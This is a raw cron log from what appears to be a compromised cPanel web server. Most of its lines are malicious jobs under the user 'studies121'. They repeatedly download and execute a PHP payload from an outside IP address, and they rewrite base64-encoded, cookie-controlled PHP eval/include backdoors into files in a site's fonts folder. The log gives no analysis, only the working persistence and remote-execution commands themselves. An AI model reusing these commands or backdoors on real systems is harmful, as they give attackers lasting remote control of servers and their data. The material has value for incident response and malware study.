Sep  6 20:20:01 ip-184-168-122-23 CROND[24186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:20:01 ip-184-168-122-23 CROND[24185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:20:01 ip-184-168-122-23 CROND[24184]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:20:01 ip-184-168-122-23 CROND[24187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:20:01 ip-184-168-122-23 CROND[24182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:21:01 ip-184-168-122-23 CROND[24356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:21:01 ip-184-168-122-23 CROND[24359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:21:01 ip-184-168-122-23 CROND[24360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:21:01 ip-184-168-122-23 CROND[24358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:22:01 ip-184-168-122-23 CROND[24439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:22:01 ip-184-168-122-23 CROND[24441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:22:01 ip-184-168-122-23 CROND[24442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:22:01 ip-184-168-122-23 CROND[24445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:22:01 ip-184-168-122-23 CROND[24447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:23:01 ip-184-168-122-23 CROND[24534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:23:01 ip-184-168-122-23 CROND[24535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:23:01 ip-184-168-122-23 CROND[24538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:23:01 ip-184-168-122-23 CROND[24539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:24:01 ip-184-168-122-23 CROND[24621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:24:01 ip-184-168-122-23 CROND[24623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:24:01 ip-184-168-122-23 CROND[24624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:24:01 ip-184-168-122-23 CROND[24625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:24:01 ip-184-168-122-23 CROND[24628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:25:01 ip-184-168-122-23 CROND[24731]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 20:25:01 ip-184-168-122-23 CROND[24733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:25:01 ip-184-168-122-23 CROND[24734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:25:01 ip-184-168-122-23 CROND[24735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:25:01 ip-184-168-122-23 CROND[24737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:25:01 ip-184-168-122-23 CROND[24738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:25:01 ip-184-168-122-23 CROND[24739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:26:01 ip-184-168-122-23 CROND[24920]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  6 20:26:01 ip-184-168-122-23 CROND[24921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:26:01 ip-184-168-122-23 CROND[24922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:26:01 ip-184-168-122-23 CROND[24923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:26:01 ip-184-168-122-23 CROND[24924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:26:01 ip-184-168-122-23 CROND[24933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  6 20:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  6 20:27:02 ip-184-168-122-23 CROND[25094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:27:02 ip-184-168-122-23 CROND[25095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:27:02 ip-184-168-122-23 CROND[25098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:27:02 ip-184-168-122-23 CROND[25096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:28:01 ip-184-168-122-23 CROND[25178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:28:01 ip-184-168-122-23 CROND[25180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:28:01 ip-184-168-122-23 CROND[25182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:28:01 ip-184-168-122-23 CROND[25183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:28:01 ip-184-168-122-23 CROND[25181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:29:01 ip-184-168-122-23 CROND[25264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:29:01 ip-184-168-122-23 CROND[25267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:29:01 ip-184-168-122-23 CROND[25266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:29:01 ip-184-168-122-23 CROND[25269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:30:01 ip-184-168-122-23 CROND[25358]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 20:30:01 ip-184-168-122-23 CROND[25363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:30:01 ip-184-168-122-23 CROND[25362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:30:01 ip-184-168-122-23 CROND[25361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 20:30:01 ip-184-168-122-23 CROND[25364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:30:01 ip-184-168-122-23 CROND[25365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:30:01 ip-184-168-122-23 CROND[25367]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:30:01 ip-184-168-122-23 CROND[25366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:30:01 ip-184-168-122-23 CROND[25368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:31:01 ip-184-168-122-23 CROND[25501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:31:01 ip-184-168-122-23 CROND[25503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 20:31:01 ip-184-168-122-23 CROND[25505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:31:01 ip-184-168-122-23 CROND[25504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:31:01 ip-184-168-122-23 CROND[25506]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 20:32:01 ip-184-168-122-23 CROND[25594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 20:32:01 ip-184-168-122-23 CROND[25596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:32:01 ip-184-168-122-23 CROND[25597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
